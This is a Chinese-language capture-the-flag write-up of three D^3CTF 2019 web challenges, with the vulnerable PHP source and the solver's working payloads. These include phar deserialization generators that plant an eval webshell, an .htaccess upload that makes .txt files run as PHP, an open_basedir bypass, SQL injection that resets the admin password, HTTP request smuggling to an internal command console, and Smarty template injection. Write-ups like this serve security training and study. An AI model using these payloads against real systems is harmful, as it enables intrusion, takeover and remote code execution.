0%

D^3CTF2019 WEB 部分题解

前言

没做出来题,下次加油

ezupload

https://github.com/Lou00/d3ctf_2019_ezupload

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($url,$filename) {
        $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
        $this->url = $url;
        $this->filename  =  $filename;
        if (!file_exists($this->userdir)) {
            mkdir($this->userdir, 0777true);
        }
    }
    public function checkdir(){
        if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
            die('hacker!!!');
        }
    }
    public function checkurl(){
        $r = parse_url($this->url);
        if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
            die('hacker!!!');
        }
    }
    public function checkext(){
        if (stristr($this->filename,'..')){
            die('hacker!!!');
        }
        if (stristr($this->filename,'/')){
            die('hacker!!!');
        }
        $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
        if (preg_match("/ph/i", $ext)){
            die('hacker!!!');
        }
    }
    public function upload(){
        $this->checkdir();
        $this->checkurl();
        $this->checkext();
        $content = file_get_contents($this->url,NULL,NULL,0,2048);
        if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
            die('hacker!!!');
        }
        file_put_contents($this->userdir."/".$this->filename,$content);
    }
    public function remove(){
        $this->checkdir();
        $this->checkext();
        if (file_exists($this->userdir."/".$this->filename)){
            unlink($this->userdir."/".$this->filename);
        }
    }
    public function count($dir) {
        if ($dir === ''){
            $num = count(scandir($this->userdir)) - 2;
        }
        else {
            $num = count(scandir($dir)) - 2;
        }
        if($num > 0) {
            return "you have $num files";
        }
        else{
            return "you don't have file";
        }
    }
    public function __toString() {
        return implode(" ",scandir(__DIR__."/".$this->userdir));
    }
    public function __destruct() {
        $string = "your file in : ".$this->userdir;
        file_put_contents($this->filename.".txt", $string);
        echo $string;
    }
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
    highlight_file(__FILE__);
    die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
    $dir->upload();
}
elseif ($_POST['action'] === "remove") {
    $dir->remove();
}
elseif ($_POST['action'] === "count") {
    if (!isset($_POST['dir'])){
        echo $dir->count('');
    } else {
        echo $dir->count($_POST['dir']);
    }
}

hint1:webroot changes every 10 mins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  public function count($dir) {
        if ($dir === ''){
            $num = count(scandir($this->userdir)) - 2;
        }
        else {
            $num = count(scandir($dir)) - 2;
        }
        if($num > 0) {
            return "you have $num files";
        }
        else{
            return "you don't have file";
        }
    }

glob爆破web目录

图片

但是减了2,而且glob协议对点在前的不计入,要传三个文件才开始爆破,我猜出题人觉得. 和 .. 也被算进去了?

但是文件不能有<?php 等,phar文件是有<?php

参考怀秋师傅https://lihuaiqiu.github.io/2019/11/28/2019D-3CTF-%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/

gzip打包,phar://协议会解压,能直接列出/var/www/html 的目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class dir{
    public $userdir;
}

$d = new dir();
$d->userdir = new dir();
$d->userdir->userdir = "../";
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($d); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", ""); //添加要压缩的文件
$phar->stopBuffering();

?>

图片

既然能phar了

__destruct 可以任意写入文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct() {
        $this->filename  =  "/var/www/html/320274ee8b7f2e8a/upload/3552434d3ac4804fb2664474109c04c5/tinmin";
        $this->userdir = '<?php eval($_POST[1]);?>';
    }
}

$a = new dir();
@unlink("test.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", ""); //添加要压缩的文件
$phar->stopBuffering();

之后就会写入tinmin.txt

图片

再传入.htaccess

1
action=upload&url=data://text/plain,AddHandler%20php7-script%20.txt&filename=.htaccess

txt 被解析为php

然后传统 bypass open_basedir

https://xz.aliyun.com/t/4720

payload

1=ini_set(‘open_basedir’,’..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’,’/‘);readfile(‘/F1aG_1s_H4r4’);

img

showhub

题目环境

https://github.com/Li4n0/My-CTF-Challenges/tree/master/D%5E3CTF2019_Showhub

docker-compose.yml 不能改port,改的话,需要修改trafficserver 的remap.config

1
regex_map http://(.*):port/ http://d3ctf-nginx

insert 注入

1
username=admin%1$',sleep(5)) #&password=123123

能延时成功

insert on duplicate key update 注入

https://dev.mysql.com/doc/refman/8.0/en/insert-on-duplicate.html

图片

格式化字符串逃逸单引号https://paper.seebug.org/386/#0x00

1
2
3
4
5
6
7
8
9
10
<?php
$sql = "insert into user(username) values ('%s';";
$args = "admin%1$',sleep(3)) #";
$args = addslashes($args);
echo $args.PHP_EOL;
$sql = sprintf( $sql, $args);
echo $sql.PHP_EOL;
echo sprintf( $sql, $args).PHP_EOL;
//result: insert into user(username) values ('admin',sleep(3)) #';
?>
1
username=admin%1$',0x60) on duplicate key update password=0x38633639373665356235343130343135626465393038626434646565313564666231363761396338373366633462623861383166366632616234343861393138#&password=123123

admin密码被修改为admin

CE-TE走私

Server:ATS/7.1.2

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/1.1
Host: ctf.tinmin.cn
Pragma: no-cache
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://39.108.36.103/Manage/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=n7u5qkk164rsku2jpn7vvm0n9o
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Transfer-Encoding: chunked

0

GET /WebConsole HTTP/1.1
Host: ctf.tinmin.cn
Client-IP: 127.0.0.1

image.png

max-age=0才能成功

保存了一下界面好好看

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GET /WebConsole HTTP/1.1
Host: ctf.tinmin.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://39.108.36.103/Manage/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=n7u5qkk164rsku2jpn7vvm0n9o
Connection: close
Transfer-Encoding: chunked
Content-Length: 52


0


POST /WebConsole HTTP/1.1
Client-IP: 127.0.0.1

400 error能说明走私成功了,但是包的构造有问题,需要Content-Type Content-Length,Cookie

image.png

一直无回显,最后发现要post /WebConsole/exec,调对了发两次就能成功,大概理解为第一次将第二段包缓存,第二次请求会发过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
GET /WebConsole HTTP/1.1
Host: ctf.tinmin.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://39.108.36.103/Manage/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=umj2hbfae21cug89jigg27ic7q
Connection: close
Content-Length: 213
Transfer-Encoding: chunked


0


POST /WebConsole/exec HTTP/1.1
Host: ctf.tinmin.cn
Client-IP: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=umj2hbfae21cug89jigg27ic7q
Content-Length: 30

cmd=cat /flag;

image.png

抓个包wireshark看一下

wireshark

image.png

第一个请求正常的get

image.png

第二次请求时将第一次缓存的post请求发送

image.png

Li4n0师傅这道题质量好高

easyweb

非预期解

1
2
3
4
5
6
7
private function sql_safe($sql){
if(preg_match('/and|or|order|delete|select|union|load_file|updatexml|\(|extractvalue|\)/i',$sql)){
return '';
}else{
return $sql;
}
}

un{ion 绕waf二次注入

smarty模板注入

十六进制转字符串为

1
{{php}}phpinfo();{{/php}}

payload:

1
1' un{ion sel{ect 0x7B7B7068707D7D706870696E666F28293B7B7B2F7068707D7D #

写入一句话

1
1' uni{on sel{ect 0x7b7b7068707d7d6576616c28245f4745545b315d293b7b7b2f7068707d7d#

预期解

phar